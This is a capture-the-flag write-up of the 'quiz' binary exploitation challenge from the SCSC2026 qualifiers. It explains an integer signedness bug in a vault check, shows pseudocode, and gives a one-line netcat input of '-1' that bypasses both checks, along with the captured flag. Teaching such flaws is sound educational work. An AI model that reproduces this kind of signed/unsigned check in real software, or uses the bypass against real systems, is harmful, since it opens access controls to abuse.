193 words
1 minute
SCSC2026 Quals - quiz - Binary Exploitation Writeup
Category: Binary Exploitation
Server: nc 43.128.69.211 13004
Flag: scsc26{Integer_Und3R_fl0W_0v3rFl0W}
Challenge Description
A “secure” vault that checks your money amount to grant access to the flag.
Binary Analysis
$ file quizquiz: ELF 64-bit LSB pie executable, x86-64, dynamically linkedDecompiled Logic (pseudocode)
long money; // signed 64-bit integer
printf("How much is your money?\n");scanf("%lld", &money); // reads SIGNED long long
// Check 1: Signed comparisonif (money > 100) { printf("You cannot have more than 100 Rupiaz as a student!\n"); exit(1);}
// Check 2: This comparison treats value as UNSIGNEDif (money <= 1000000) { printf("Your money is not enough for a flag :(\n"); printf("You need 1 million rupiaz for a flag!\n"); exit(1);}
// WIN: Print flagprintf("It... Can't be!!!\n");// ... opens and prints flag.txtVulnerability: Integer Signedness Bug
The two checks have conflicting requirements:
-
money > 100uses signed comparison (must be ≤ 100) -
money <= 1000000uses comparison that can be bypassed with negative numbers
Key Insight: A negative number like -1:
-
Signed interpretation:
-1 ≤ 100✓ (passes check 1) -
When compared as unsigned:
-1=0xFFFFFFFFFFFFFFFF= 18,446,744,073,709,551,615 -
This is definitely > 1,000,000 ✓ (passes check 2)
Exploit
$ echo "-1" | nc 43.128.69.211 13004How much is your money?It... Can't be!!!scsc26{Integer_Und3R_fl0W_0v3rFl0W} SCSC2026 Quals - quiz - Binary Exploitation Writeup
https://fuwari.vercel.app/posts/16/scsc2026-quals-quiz-binary-exploitation-writeup/